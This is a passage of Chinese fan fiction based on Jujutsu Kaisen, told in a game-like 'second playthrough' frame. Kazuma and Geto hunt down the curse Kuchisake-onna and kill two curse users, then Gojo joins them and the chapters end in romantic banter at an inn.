他突然发现,只要悟不在对方身边,羽取一真的思维不仅变得敏捷又清奇,还格外的能说会道。 就像上次,竟然想使唤他的咒灵来一起提那装满了伴手礼的购物袋。 “……感谢提醒,我会注意的。” 夏油杰深吸口气,又相当无奈地缓慢吐出来。 “现在就不要再聊[我到底怎么死]的这种诡异话题了……我们先离开地下通道去外面,打电话喊辅助监督来接。” 地下通道的信号很差,他的手机显示[圈外],打不出电话。 “好。” 已经夏油杰那里问完最想了解的线索,羽取一真没有异议。 他们并没有反身回到入口,而是一直沿着咒力遗留的残秽气息往前走,直到离开地下通道后,夏油杰立刻给辅助监督打电话。 “[裂口女]估计已经被诅咒师带走了,但咒力残秽还没有彻底散干净,说明时间还没有过去很久。” 他简明扼要的说完发现。 “我已经记住这两股气息了,正和一真沿着这条路一直往前走,麻烦你开过来接我们,这样效率比较高。” 这也是夏油杰刚才会停在地下通道内跟羽取一真聊那么长时间的原因。 与拥有[六眼]的悟不同,他需要时间来记住这股咒力的微妙差异——且要需要反复感知数次,以确定自己不会记错。 如此一来,就算途中有其它的咒力残秽来干扰他的判断,夏油杰也有信心不会混淆。 在追踪咒力残秽的路上,羽取一真还问夏油杰。 “我记得你之前说过,[咒灵操术]不能吸收有主从制约的咒灵。”他说,“既然如此……这次的[裂口女],可以让我来祓除吧?” 这可是一级的【咒灵结晶】呢! 上周目的他被漂亮大悟带着到处刷怪,全是一级、二级的,没几天就把他的等级拉到了一级,别提多轻松了。 结果这周目的他因为来高专上学,又被定为四级咒术师,导致他在任务里能接触到的最高等级咒灵才三级——也就是跟悟搭档巡逻时,才有概率吃到二级的【咒力结晶】。 要论起他目前吃到的最高等级经验包,竟然是那位教祖上次送来的咒物。 虽然不清楚有过主从制约的咒灵会不会掉落【咒力结晶】,但反正都要祓除的,让他来补刀试试也不错。 “………” 其实能吸收有主从制约咒灵、却一直刻意隐瞒了这点的夏油杰陷入沉默。 这个[裂口女],他也想要…… 这可是一级咒灵呢。 但要他承认自己之前是在对他们撒谎,夏油杰又有点抗拒。 如果被羽取一真说出去,他在咒术界这边的信用就要打上一个相当糟糕的问号了。 无论怎么说,术师才是他的同类。 即使他对羽取一真的信任程度已经很高了,但这种太过隐私、暴露出来的影响又挺恶劣的底牌……夏油杰依旧不想轻易透露出来。 实在不行,就真的只能拱手让出[裂口女]了。 ……光是这么一想都感觉很痛心。 夏油杰边兀自肉痛,边带着羽取一真继续追踪咒力残秽——等辅助监督开车接上他们后,速度更是猛提一截。 残秽的气息一路蜿蜒,从人迹罕至的郊外地下通道,到市区,又穿过住宅区,重新来到另一头的郊外。 这段距离,几乎已经横跨了整个埼玉县。 “奇怪,”夏油杰皱了皱眉头,“按理来说,如果对方都已经跑到这里了,咒力残秽不可能还能留到等我们来才对。” 更别提诅咒师还会刻意控制自己不要留下太浓烈的咒力残秽,以免被咒术界派人追杀。 但他们竟然能追踪这么久? 夏油杰在那边嘀咕蹊跷,羽取一真却没什么疑虑。 还用问,肯定又是那个教祖搞的鬼。 他只是打开【委托】界面,确定夏油杰对他的信任度还停留在76%上,无法解锁术式。 看来80这个数值,无论放在好感度还是信任度上,都是一个非常重要的槛。 没办法了,先继续用[黑闪]吧。 追踪的轿车最终在一栋普通的平房前停下。 红砖盖的矮房,生锈的外置楼梯,再加铁皮的屋顶——这是一栋相当老式的平房,通常会被房东隔出几室,用于单间出租。 远远比不上那些高楼大厦,但胜在价格低廉。 诅咒师会藏在这里,倒也不奇怪。 “对方能够带走[裂口女],意味着他至少也是个经验老练的一级咒术师,很可能已经察觉到了我们的前来。” 夏油杰轻声对羽取一真说道。 更别提他等会要放出咒灵袭击,涌动的咒力会在那瞬间变得更加强烈。 “而且,能逃脱咒术界追杀的诅咒师,肯定同样相当狡猾,很难说房间周围有没有设下陷阱。” “嗯。” 羽取一真将[业双]握在手中,做好了战斗准备。 “就在左手边第二间,我会让咒灵先去探路,” 夏油杰做了个手势,神情凝重。 空间荡开漆黑的涟漪,数只咒灵自那暗渊似的潮海深处涌出,将那咒灵残秽的终点包围起来,逐渐靠近。 如此强烈的诅咒气息,足以令房间内的诅咒师如坐针毡。 “一旦它把诅咒师逼出来,我们就上。” “好。” 羽取一真压低身体,黑瞳紧盯那群咒灵,随时准备与夏油杰一同冲上去。 ——在那嘶鸣声与爆裂声同时响起的瞬间,[黑闪]的漆黑光流随之亮起。 “就凭你们两个小崽子?” 在那放肆的大笑声中,夏油杰的神色越发沉凝而冷静。 敌人有……两个! 第110章 “一真!” 夏油杰立刻高声提醒羽取一真注意——而后者的动作更快, 一个踏步便已冲到那拳头挥来的方向,抽棍迎了上去! 裹着无数漆黑光流的棍体与势大力沉的拳头撞出好似金戈般的闷响,对方冷笑着又挥出另一拳, 同样被羽取一真立棍挡下——再挥, 再挡,并瞬间抽出一记反击,却同样被小臂挡下——数次交手好似仅发生于连眼也来不及眨的刹那之间,当即令羽取一真明白对方的等级绝对不低。 幸好他的[黑闪]技能没有冷却时间! 但更令羽取一真皱眉的,是敌人看起来近乎毫发无损。 且从这肌肉虬结的壮硕外形、以及戴着露指拳套与护臂的双手上来看,对方明显是个极其注重体术的格斗家。 怎么做到的, 术式? 羽取一真很确信哪怕是上周目的[夏油杰]来,也不至于吃了玩家伤害却完全不掉血。 否则也不会使用虎杖香织的术式来防他的血弹, 多暴露出一张底牌。 羽取一真的大脑在飞速运转。 上周目的悟和他说过, 没有绝对无解的术式, 就算是再厉害的术师, 也一定能找到有效的攻击手段。 而对面壮汉似的诅咒师,也在又一次交手后保持双拳拉开的架势, 诧异瞪大眼。 “这么多下,全打出了[黑闪]?” 这是什么怪物? 哼,不过…… “你啊,还不会术式吧。” 诅咒师精准地猜出羽取一真目前的状态, 并立刻开始使用垃圾话攻击, 想要扰乱他的心态。 “能一直打[黑闪]又怎么样,你的术式该不会是让你能百分之百触发[黑闪]吧?那就有点太滑稽了, 大家都清楚[黑闪]是难触发,但战斗可没办法依靠区区几记[黑闪]就能定胜负的啊,你又能坚持多久?” 说了两句, 发现羽取一真的表情压根不见任何动摇,该触发的[黑闪]也依旧招招都有,这个诅咒师的话锋立刻一转。 “看你这身制服,是高专的学生吧?那群人还真舍得啊,孩子也派出来执行这种送死的任务呢——要不你收手求求我,我就放过你?” “大叔我也是没办法啊,都是被咒术界的规矩逼成这样的,有些普通人的心可比咱们黑得多,你知道他们都能干出什么样的事情来吗?” 说到后面,甚至还露出一个直爽又和蔼的笑容,仿佛真的是善心大叔在劝说失足少年。 这个诅咒师看起来野蛮又粗鲁,但既然他能够成功逃脱通缉这么多年,就意味着其本人的心思绝对不可能用所谓[心直口快]、[实诚]之类的褒义词能够概括的。 至于他说的那些话,羽取一真权当刷怪时的背景音效,半个字都没往心里去。 打游戏不都这样,但凡能说人话的怪,在挨打或者打人时不叨咕两句话刷下存在感,羽取一真反而会感觉少了点什么。 但他确实遇到了麻烦的事情。 [黑闪]是要消耗咒力的,即使咒力量会自然回复,他也没办法一直用下去! 眼前这个诅咒师的体术,以及他那古怪的术式,确实令只会[黑闪]技能的羽取一真感到棘手,不得不抽空瞥向夏油杰的方向—— 呜——! 随着那声似悲鸣似嚎叫的声音发出,那只被漂亮小悟吐槽是蒜头王八的类河童咒灵骤然崩散,腥臭□□连同扭曲肉块好似炸开般溅落一地,同样缓慢的消散了。 说“炸开”不太准确,夏油杰知道,那是“剪开”。 此刻的他无暇顾及操纵咒灵去支援羽取一真的战斗,只因那个真正驱使了[裂口女]的诅咒师,正在对他展开攻击。 而对方手里拥有的,也不仅有一级的[裂口女]。 “没有媒介,咒力的反应也不一致,看来你就是高专那个会用[咒灵操术]的小鬼啊。” 那位模样比大叔更苍老些的诅咒师笑了起来,手上拿着布满咒纹的铃铛。 只需轻轻一摇,那些被他收服为式神的咒灵便一只接一只冒出来,与夏油杰驱使下的咒灵撕咬到一处。 “是啊,真难为您如此清楚的记得我。” 即使局势相当不利,夏油杰的声音依旧听不出任何紧张,以相当礼貌的口吻回答道。 “毕竟,我压根没有听说过您呢。真是不好意思。” 礼貌了,但没有完全礼貌。 那位驱使式神的诅咒师的额角青筋一跳,握着剪刀的[裂口女]随即跨前半步——却在瞬息之间,已出现在夏油杰的身后。 穿着双排扣的大衣,绷带从脸上一直缠到手指,遮住无数尸斑似的块状痕迹。 而那头粗糙凌乱的黑色发丝间,有更多的眼睛在不断睁开,怨毒的、悲伤的、憎恨的,一齐转动,直到锁定住夏油杰。 夏油杰的神色凝重,脑内在拼命思考对策。 刚才那个诅咒师被他误导,将咒灵的咒力当成了他的,才使[裂口女]在上一波的攻击中,瞄准的是咒灵而非他。 可他也没能在这争取的片刻时间中取得优势,敌人的式神数量同样有很多! 即使夏油杰清楚对付这种式神使,直接攻击本体是最优选,但敌人同样狡猾且谨慎,他没能在刚才突破对方的式神防御——而此刻,[裂口女]的第二波攻击已经又到来了! “我…我……我……漂亮吗?” 一声比一声更加嘶哑的语调,使那张布满利齿的嘴在绷带的缠绕间张大,好似将夏油杰所在的整个区域都拖入了另一个世界与这个世界的罅隙之间。 在他与[裂口女]之外,光芒与声音都消失了,耳边仅剩下那声反复交叠、回荡的提问。 竟然是简易领域……[裂口女]的等级甚至还要比普通的一级高一点! 刚才咒灵瞬间爆裂的缘由,夏油杰瞬间明悟。 这是一个在他回答问题前,能够保证双方互不侵犯的简易领域——但相对的,答案将会直接影响[裂口女]接下来的攻击威力。 他必须要在规定时间内做出回答,这同样是这个简易领域内设定的一种[束缚]。 倒计时一旦归零,没有回答也是一种回答。 而按照[裂口女]的传说,这种时候,他绝对不能回答“是”或“否”。 “我……” 夏油杰正打算拼一把,却在话语刚出口的瞬间,见到一根小臂长的乌棍裹挟着漆黑嘶鸣声,近乎笔直地疾驰而来,如云开破日般撕裂了这个死寂的、充满诅咒气息的空间——那是带着[黑闪]的[业双]! 仅用了又疾又狠的一击,[黑闪]加短棍的威力便使[裂口女]的头颅便被打穿,暗红液体飞溅在泥土里,无形的壁障被打碎,空气又变得可以正常流动。 那根乌棍在击穿[裂口女]的头颅后,落在更远一些的地上,滚了几圈,沾上了点杂草与落叶。 领域总是从外部击溃更加容易——羽取一真竟然察觉到了他被拖入简易领域中,并用如此粗暴的方法帮助他逃了出来! 电光火石之间,夏油杰震惊望向羽取一真的位置。 此刻的黑发少年失去更占据优势的武器,只能以赤手空拳与那个壮汉在比拼体术,拳风交接间开始露出败象。 夏油杰只用一瞥便敏锐察觉到,与羽取一真对战的那位很明显拥有肉丨体方面的术式,才会恰好克制同样只能用体术的羽取一真! 而他同样没有能够一击致胜的强力咒灵,要是就这样一直跟对面那个诅咒师用咒灵对抗,就算最后能够获胜,损失也会非常大。 再不快点做决定,他又需要再想办法应付[裂口女]那个麻烦的咒术了! 此时,那个式神使似乎也没想到羽取一真在对战过程中,竟然会毫不犹豫的甩手扔出武器替夏油杰脱困,使得他的下一步应对同样慢了片刻。 黑发少年的那一击[黑闪]确实麻烦,拖累了[裂口女]的恢复速度。 但没关系,一旦它再度完全复原,这两个人照样得死! “一真!” 夏油杰不再犹豫,几乎是以最快的速度冲到短棍落地的位置,挥手又将[业双]扔回给羽取一真。 “我们交换,你对付式神使,其它不用管,目标是杀了他!” “了解。” 同样想跟夏油杰交换攻击目标的羽取一真心领神会,反身便脱离那个壮汉的攻击范围,途中伸手接住[业双],没有停顿地继续往式神使的方向冲去! 这也是他为什么要帮夏油杰破局——若是任由夏油杰被[裂口女]攻击,他很快就会陷入一对多的绝对逆风了! “等等!” 使用体术的诅咒师心道不妙,正要拦住羽取一真,面前却突然出现一只模样类似蛮牛的咒灵,足蹄狠狠踏进土地,横档在他身前。 “想都别想。” 夏油杰抬起手掌,比出使用[咒灵操术]的手势。 刚才的咒灵被安排去拦截另一个诅咒师操控的咒灵式神了,但没关系,更多的咒灵正在从翻涌的暗潮里爬出,在朝这个使用拳头的咒术师包围过去。 “哼,就凭这些乌合之众?” 壮汉冷笑一声,双拳对撞,又再度摆出更利落、更凶悍的架势出来,根本没有丝毫惧意。 他的术式——[豁免锚点],只要被他标记了咒力的术师,其攻击所造成的物理伤害会被削减,程度取决于对方咒力输出的高低。 而不依靠咒力的纯体术比拼,肉丨体经过千锤百炼、又有咒力加持的他更是稳居上风! 虽然一次只能标记一个咒力,削减后的伤害也依然会作用于他,但拿来对付这两个小鬼,已经是完全足够了。 “先杀谁对我来说都是一样的,那就先解决你。” 大叔呵呵一笑,咒灵在他那又沉又重的挥拳之下骤然溃散。 “我也没想着靠这些咒灵就能拦住你,” 夏油杰冷静道。 “我只需要拖延你,就足够了。” 拖延到——羽取一真把那个式神使杀掉为止! 滋啦。 同样的咒灵哀鸣声,响起在羽取一真的[业双·黑闪]之下。 在那刹那间交错而过的路径之中,羽取一真面对围上来的咒灵式神,脚步不曾慢下哪怕半分。 那双黑瞳冰冷而淡漠,是没有任何情绪的沉沉无光,始终盯紧他的目标——那个被咒灵包围着的式神使。 一周目的他,同样对付过这种类型的敌人。 好似迟来的怒意在驱使身体,[裂口女]尚在恢复,那个诅咒师只能驱使其它的咒灵式神扑上来,羽取一真挥手甩动乌棍,[黑闪]的嘶鸣涌动间,那团扭曲的、长满了眼睛与利齿的黑影不堪一击,霎时迸裂。 他的[黑闪]对那个诅咒师不起作用,不等于对这些咒灵也同样无效! 没有咒灵能扛得住羽取一真的[业双],数十米的距离转瞬即至——那些咒灵有的被夏油杰的咒灵阻拦,有的被羽取一真狠而利落的打碎,直至开出一条没有任何阻碍的、由咒灵尸体组成的血路。 而此刻,站在羽取一真的面前的,仅剩因恐惧而瞪大眼的式神使。 他一直后退,在使用咒灵阻挡,想要拉开与羽取一真的距离,却被如此轻易的追了上来! 那些倒在地上的咒灵,也直至此刻才开始化作飞灰,正在羽取一真的身后纷纷扬扬,缓慢朝天际飘散而去。 这般恐怖的攻击力,令对方的表情震惊近乎到呆滞。 没有[豁免锚点]的术式减伤,这个仅能操纵咒灵作为攻击手段的式神使,在[业双]面前是如此的不堪一击。 “你……求你饶过我,你想要什么我都可以给你……” 在死亡的威胁下,那个使用式神的诅咒师开始求饶,哭出了老泪纵横的孤苦与可怜。 [裂口女]甚至还没来得及完全恢复,他的另一只强大咒灵,又被会用[咒灵操术]的小子给毁了,可恨! “我只是想要点防身手段的老人家而已,[裂口女]确实是我带走的,可我也没让它干坏事,甚至还算是救了普通人……对吧,小哥你看,你就可怜下我这个老人……” 但表面上,他依旧摆出最可怜的表情,试图赌这个黑发少年不忍心下手,杀害一个老人。 高专确实教了他们如何祓除咒灵,但很多术师是不敢杀人的,杀人和杀咒灵,在他们眼里是两种概念。 这个使用式神的诅咒师正要继续哭得更惨点,却见到那根不过小臂长的乌棍,没有半分迟疑的举起,缠绕上黑光。 “你……!” 在他眼中,此刻这个黑发少年,冷酷好似任何没有感情的凶煞。 砰! 那具扑倒在地的尸体睁大双眼,不敢置信的表情永远定格在了那张苍老的面容上。 上周目的老头都不知道杀几个了,还在这跟他叽叽歪歪的求饶。 羽取一真打开【好感度】面板,确定这个老头的名字后面也跟着(已故)后,立刻转身打算和夏油杰一起对付那个术式古怪的壮汉。 式神使死后,那些式神咒灵会因为失去了咒力媒介而彻底消散,不需要他再祓除一遍。 刚才祓除掉的那些式神咒灵不会掉落【咒力结晶】,让羽取一真很是痛心。 但当羽取一真的注意力重新回到另一方战场时,却见夏油杰伸出手对准那只开始消散的[裂口女]——而后者也好似被漩涡吸收了般,身形如同黄油般融化,扭曲,压缩成夏油杰掌中的咒灵球。 紧接着,那枚漆黑的球体被夏油杰张口吞下,眨眼间便完成了吸收的过程。 随即,那位有着枯草般的黑长发、穿着长风衣、脸上的绷带一直缠绕到指尖、手持剪刀的女性,再度出现。 羽取一真微微一惊,脚下回冲的步伐没停,挥棍攻击的架势更是凌厉。 他不是说自己不能吸收这些有过主从制约的咒灵吗? ……所以npc自己提供的情报也有可能在撒谎? 这个念头在羽取一真的脑海里转瞬即逝,便先跟对方一起专心对付那个壮汉似的诅咒师。 对方显然开始慌了,在左右格挡了几下,便露出明显想要逃跑的意思。 能够感知到咒力之[兴]的夏油杰,立刻察觉到了对方的破绽。 他的术式大概率只能作用在单体上,所以一直在反复发动。 既然如此,就数着他和羽取一真的攻击频率,直到确定当前是作用在羽取一真身上的刹那之间—— “我…我…我……漂亮吗?” [裂口女]发动咒术,将这个诅咒师拉入了在回答前不可互相攻击的简易领域! 诅咒师的冷汗湿透了衣物。 他只能选择在回答完问题的一瞬间切换术式作用目标,却无法顾及到简易领域之外的视线死角,正在酝酿最后一击[黑闪]。 ——尘埃落定。 伴随第二具尸体的倒下,羽取一真看了眼快见底的咒力量、以及掉落过半的体力值,缓慢吐出口气。 他可不想去试这游戏有没有死亡惩罚。 万一又出现和一周目同样的坏档结局,他真的会生气。 看着身旁在边喘息边擦汗的夏油杰,羽取一真幽幽出声。 “没办法吸收有主从制约的咒灵?” 夏油杰的擦汗动作,顿时僵住。 “………咳,这个,” 他的表情逐渐变得赧然起来,还透着被戳破谎言后的些许心虚。 “抱歉,我也是以防万一,担心那些驱使咒灵的式神使天然敌视我……你知道的,驱使式神的术师真的很多。” 为了掩饰他这份罕见的心虚与尴尬,夏油杰甚至在慌乱中下意识摸出手机,开始给辅助监督打电话让他来接,假装自己突然很忙。 “既然如此,怎么刚才又使用了?” 等结束通话后,羽取一真继续问夏油杰。 难怪要他只杀掉那个诅咒师,其余都不用管,原来是打着一旦对方死后就立刻吸收[裂口女]为己用的算盘。 但就这样当着他的面吸收,不担心他会说出去? 刚才那局势或许很惊险,但只要他能杀了使用式神的诅咒师,两个人总会有办法对付剩下的那个诅咒师——更别提对方当时已经想逃跑了。 夏油杰怔了下,才迟疑开口。 “这是最快结束战斗的办法,”他说,“我也只能赌一下。” 更确切的说,是看见那根乌棍破空而来、宁肯牺牲自己也要将困住他的简易领域击溃的那刻,夏油杰就决定赌这一次。 面对那双略带疑问、却好似看透他想法的黑瞳,夏油杰双手揣在裤兜里,尽量让自己的口吻保持在若无其事上。 “反正,”他说,“我都帮你保管了你能吞咒物的事情。” “作为交换,你帮我保管我可以吸收有主从制约的咒灵这件事……也不过分吧?” 这种交易,夏油杰以前是不会做的。 他谨慎又容易多虑,遇到事情都会再三权衡后果,绝不会允许自己失去理智,凭感情冲动行事。 就算他能够遵守交易的约定又如何呢,只要对方有一次不遵守,他就需要承担秘密被泄露的恶劣影响。 既然选择了隐瞒,那他就必须隐瞒到底——除非有能够消除后果的把握,否则他绝对不会轻易暴露。 但此刻,夏油杰却刻意用着轻松的语调,向羽取一真提出“交易”。 这意味着,他不仅将羽取一真放在了同期的位置上,更是某种程度上的咒术界“共犯”。 夏油杰相信羽取一真,不会将他的这个情报说出去。 而羽取一真也确实点头。 “好。” 这个单词一出,系统弹窗随之展开在他的眼前。 【当前委托:酒见绫子的指示,已完成。】 【奖励:获得技能<术式顺转·裂>。】 这意味着,夏油杰的信任度在此刻,确实涨到了80%以上。 而羽取一真也获得了术式奖励,以后再也不是只会用[黑闪]的咒术笨蛋了。 说到会喊他术式笨蛋的那个人…… 听到羽取一真同意的夏油杰的心情十分放松,在等辅助监督开车过来的途中,又听到对方开口补充。 “啊但是,我不会瞒着悟。” 夏油杰:“………” 夏油杰抬手捏了捏鼻梁,突然感到了一阵无力。 “我虽然也相信悟同样不会讲出去,”他说,“但你有没有觉得,你们这种关系真的很不一般?” 哪有什么秘密都不瞒着的这种亲密无间的、黏黏糊糊的、任何小事都能想起对方的关系啊! 他之前说的根本一点错都没有,这两人迟早得在一起。 所以这次的[裂口女]当然得归他,没有任何疑问。 再度被提起这件事的羽取一真瞬间卡壳:“……” 正好这时,他的电话响起。 羽取一真打开一看,是悟的来电。 抬眼望向夏油杰,发现对方挑了下眉毛,示意他接呗,自己保证不说话。 “悟?” 羽取一真自然不可能会在非紧急情况下,不接五条悟的电话。 “听辅助监督说你任务顺利完成咯,还成功杀了两个诅咒师——哎呀真不错真不错,一级咒术师羽取一真,指日可待!” 五条悟的声音轻飘飘的,一听就知道他很开心。 辅助监督是被他特意交代过的,如果收到一真和杰那边的求援信息,就立刻打来他这里。 而他本人——自然也是一做完自己的那个任务就赶来了埼玉,就在附近待机呢。 “是啊。” 好似被传染般,羽取一真的话语里也不由自主露出轻松的笑意,更是让旁观的夏油杰摆出[哎就这两人还说没有]的嫌弃表情。 “我会给你带伴手礼回来的。” 羽取一真这么说道,却听见电话里传来一声轻快的“不用!”。 漂亮小悟竟然拒绝了他的伴手礼! 羽取一真下意识“欸?”出了声,尚未来得及升起低落情绪,却见到那辆属于辅助监督的车自道路的拐角处开过来—— 而五条悟正笑得开心,一只手举着电话,一只手连同脑袋都从敞开的车窗探出来,朝他大幅度挥了挥。 羽取一真的黑瞳瞬间亮了。 110-120 第111章 车门一开, 五条悟几乎是直接蹦跶下来,动作格外轻盈,落地时还搭配着发出“嘿咻”一声。 羽取一真的唇角已经抿起来了。 这条路的灯光并不明亮, 后半夜更是显得昏暗;不过仰头望去能清楚看到许多星星, 月亮则藏了一些在云层里。 柔和的、静谧的,更多令人感到愉快的美好氛围浮动在这片被夜色包围的空间里,像冒着咕嘟热气的甜牛奶。 “来接你们咯——” 连声音也又热又甜,响起在这微凉的星空之下,好似浸饱了栗子奶油、阳光与蜂蜜,仅是听着就令人感到开心。 “嗯。” 羽取一真用力地点了点脑袋, 反应比刚才拿到术式还要高兴得多。 无论一周目的悟,还是二周目的悟, 在真正重要的事情上, 总是更习惯用“做”去代替“说”。 好比他这次明明很担心羽取一真参与执行一级任务的情况, 却半个字也没提, 只是私下和辅助监督打好招呼,又尽快将自己手上的任务做完, 立刻买票赶往这边。 一切只是因为担心他会出事而已。 虽然会故作惊叹的吐槽他是个咒术笨蛋,偶尔还会蹦出一两句黑豆柴,但自始至终,五条悟总是会用更不着痕迹的方式在关注羽取一真, 好让他不会受到超出自己能力的意外与危险。 送咒具如此, 故意说要帮他作弊如此,特意赶来琦玉——亦是如此。 这样的悟, 永远值得人喜欢。 他的御三家继承人身份,他的[六眼]和[无下限],才是构成这个名为“五条悟”的高洁人格时, 最无足轻重的一项要素。 即使没有那些高高在上的身份、失去了强大的能力,羽取一真相信五条悟依旧会秉持本心,去做他认为正确的事情。 无可匹敌的武力、高高在上的身份,这些是外在的附加值,却也是更容易成为被他人去量化、去比较的砝码。 如果仅因为看中某人的实力强大、看中他外在身份而立刻决定爱他、谋划接近他、妄图占有他,又仅凭自己的臆测与自卑,主观给他添加各种更偏执、更自大的贬义性格特质,而后又兀自在那边自怨自艾、认为自己付出了多少心血与努力的家伙……简直是无与伦比的愚蠢且可笑。 一切更应当令人动容的细节都被埋在从未说出口的表象之下,却如细碎的金砂与钻石般熠熠生辉,好似那温暖的太阳甘愿低下头来,主动任人伸手触碰。 而此刻,那双宛若晴空延伸的雾蓝苍瞳正在注视羽取一真,温暖的、柔和的;却又是俏皮的、得意的。 他格外期待自己突然出现所带给羽取一真的惊喜,且十分满足的看见后者确实变得非常高兴——就像笃信自己伸出手的期待一定会得到满满的回应。 哎呀呀,真是不要太喜欢他啦。 五条悟笑眯眯的,过来揽住羽取一真的肩头,边把人往车里带,边用另一只手去戳他的脸。 “两个诅咒师都被你们解决了啊,了不起呢,真是超级了不起!我刚听到辅助监督给我打电话,还紧张的以为是求援信号呢,谁知道是你们大获全胜啦!” 连翘起的白毛毛都随走路一颤一颤的,仿佛在具现化的展示主人到底有多开心。 夏油杰双手揣着裤兜,目光在这两人间逡巡片刻,无奈一耸肩。 口里说着“你们”,眼睛却不离开羽取一真,简直就当他是多余的。 心底这么吐槽着,他的姿态却十分放松,唇角甚至还带着些许笑意——被转过脑袋的五条悟发现了,招手示意他也赶紧跟上啦,站在那里发什么呆。 “过一分钟不坐上来就让你自己打车回旅馆哦,杰!” 那副墨镜被推了上去,露出的苍瞳却愉快得弯起来,五条悟的咬字发音间满是揶揄。 “什么,明明悟才是与这个任务完全无关的人员吧?” 夏油杰抬腿跟了上去,呛回去的口吻同样轻快,回荡在这晚风习习的柔和夜色里。 “怎么能擅自将任务的当事人丢下,小心我回去跟夜蛾老师打你的小报告。” “耶——我好害怕哦。” 五条悟冲夏油杰做了个鬼脸,没有半点被他的威胁怵到的意思。 当然,他也不可能真的把夏油杰丢在车外,只是一种开玩笑的催促啦。 “我就说杰在撒谎。” 羽取一真淡淡接话,甚至也跟着开起夏油杰的玩笑——五条悟立刻抛给夏油杰一个[谁让他有人撑腰]的眼色,那份小得意的劲都快满到溢出来。 “一真,你……” 夏油杰被五条悟哽了下,立刻对着羽取一真出言反击。 “忘记我问你的问题了吗?我可不介意再复述一次。” 不就是问这两人什么时候在一起吗,他还怕当着五条悟的面再问一次?心虚的可是另有其人。 羽取一真当即被KO:“………” 五条悟则好奇眨了下眼:“嗯?什么事?” “没…没什么。” 刚才还说不会瞒着悟的羽取一真,立刻变成了五条悟眼里那连说话都有点磕巴的超呆黑豆柴。 五条悟困惑了下。 五条悟秒懂。 这小子……难道,是在琢磨着该什么时候和他表白心意,结果被杰抢先一步察觉到,所以害羞了? 他刚才还好奇坐直身体的反应,立刻又换成抬起一只手搭着椅背、瘫回了后座上的姿势。 甚至还不顾轿车内狭窄的座位空间,硬是双腿交叠起来,一翘一翘的。 那双苍瞳则落在羽取一真的侧脸上,又明亮又圆,宛若装进了整个明媚灿烂的盛夏。 也差不多该到时间啦,真是的,难道一真认为凭他这聪明又机智的头脑,会发现不了他的这点甜蜜蜜的小心思吗? 连那个论坛里的帖子内容,走向都逐渐变得奇怪了! 确切地说,是特意单开了专门讨论他和一真的板块,里面活跃的人数比采访刚放出那会少了很多,毕竟他和一真已经很久没有出现了,没有可讨论的东西。 但与此同时,板块里又多出了很多奇妙的创作者。 他最近可刷到不少发布在上面的文章,其中有些内容的开篇会标注什么“AU”、什么“IF”的,他搞半天才明白这些都是以他和一真两个人为主角蓝本,凭借想象力虚构出各种各样的故事内容。 而且还有更让人紧张又莫名期待的成人板块,但他一直没注册账号,点进去就显示没有权限查阅。 搞得他最近都在犹豫要不就干脆注册一个账号算了…… 但一想到他目前还没有满18岁,哪怕注册了应该也进不去,五条悟便又暂时打消了这个念头。 总之,他想表达的意思是——论坛里的关系进展,可比他们真人要快上太多了! 这下被杰又捅穿一下,也该反应过来了吧?明明都这么喜欢他了。 干得好,杰,回去请你吃冰淇淋! 五条悟越想越开心,撑着脑袋,自喉间轻哼出一个两个,三个四个,乃至更多、更灵动的音符。 这是一段随手拈来的旋律,却轻扬又自在,每一个音符都在飞速掠过的夜景里跳跃,令原本在走神的羽取一真也转过头来,黑瞳认真注视着他在这款游戏里唯一在意的人。 虽然不知道漂亮小悟为什么突然这么开心,但羽取一真想要让他一直就这么开心下去。 这才是他打二周目的唯一原因。 “你在笑哦?” 五条悟突然出声——旋律不知何时已经停了,那双苍瞳正盯着羽取一真,唇角愉快地弯起。 “有(我早就已经知道的)小秘密藏着没告诉我,看起来还挺高兴嘛。” 坐在副驾驶的夏油杰脑袋往外撇,假装冲着车外看风景发呆,实则正在用耳朵全力捕捉后座的动静。 羽取一真轻咳出声:“我哪有。” “没有吗?” “嗯…” “嗯——?” “…嗯。” 听着这段车轱辘对话的夏油杰默默翻白眼。 唉,真是给他都听急了。 ………… 由于时间太晚、又不确定羽取一真和夏油杰多久才能完成任务,辅助监督提前在附近订好了旅馆。 三间。 羽取一真、夏油杰和辅助监督,一人各一间。 临时赶来的五条悟没有份。 辅助监督看向五条悟,正要开口对他说“我现在就再去订一间”,突然感觉自己的衣角被什么拉动,整个人往旁边一个踉跄,想要说出口的话也被咽了回去。 “哎呀真是没办法。” 五条悟双手背在身后,挡住正在施展[苍]的手势,脸上还故意摆出既无辜又无奈的表情。 “我就勉为其难的和一真挤一间吧!” 这声音开心的,完全不像是勉为其难的模样。 反正他拉着羽取一真回五条家过暑假的时候,也是睡在同一间寝殿里,只是铺了两床被褥——跟眼下的情况也没有什么分别嘛。 羽取一真也欣然答应:“好。” 夏油杰更是拿完门卡就走,大家都默契得好像忘记还能再多订一间房的事情。 一转眼就只剩下辅助监督站在原地,迷茫挠了挠脑袋。 不愧是同期的学生啊……这感情真好。 而连夜赶来琦玉的五条悟,一等房间门被打开,就迫不及待往那张单人床上扑去,啪叽一下瘫成软绵绵的大字型。 “赶路真是好累……” 他的脸朝下埋在被褥里,连抱怨的声音也被压成了闷闷的咕哝。 但这份情绪仅持续两秒便彻底消散了,他脑袋一偏,又开始跟羽取一真兴致勃勃的讨论起明天要去哪里玩。 “先吃完冷乌冬面再回去吧?听说琦玉的冷乌冬面超好吃!” “好啊。” 羽取一真自然是顺着五条悟的意思来。 “啊,还有川越布丁和脆饼,去买一点带回去嘛!” 五条悟翻出手机搜索,又找到当地很有名气的特色甜点,“每种口味都要一点!” “好。” 羽取一真认真记下,打开这间单人房里的储柜,却发现并没有第二套被褥可以给他们分开睡。 羽取一真:“………” 也是,这间旅馆并非那种大家铺一床被褥在榻榻米上就能睡觉的传统日式旅馆,自然也不会准备更多的被褥。 这意味着,他要和悟睡在……一张床上? 羽取一真转过目光,正和朝这边望来的苍瞳对上。 还俏皮冲他眨了一下。 “…………” 羽取一真突然感觉自己开始紧张起来。 心跳的频率也变得超级剧烈,连嘴唇也默默抿紧——从五条悟的视角望去,颇有点束手无措的感觉。 那双本就泛出十足愉快的苍瞳里,顿时又染上了小小的恶劣趣味。 “在发什么呆呢,一真?” 五条悟慢吞吞开口,“我在等你去洗澡,快点啦,缠绕在你身上的咒力残秽可是多得快把你整个人淹掉了哦。” 看一眼就能大概推测出当时的战况到底如何激烈。 能解决那样麻烦的敌人,一真的成长确实很大嘛—— 啊,虽然在他这里的黑豆柴外号,可是绝对不会被随便摘除的。 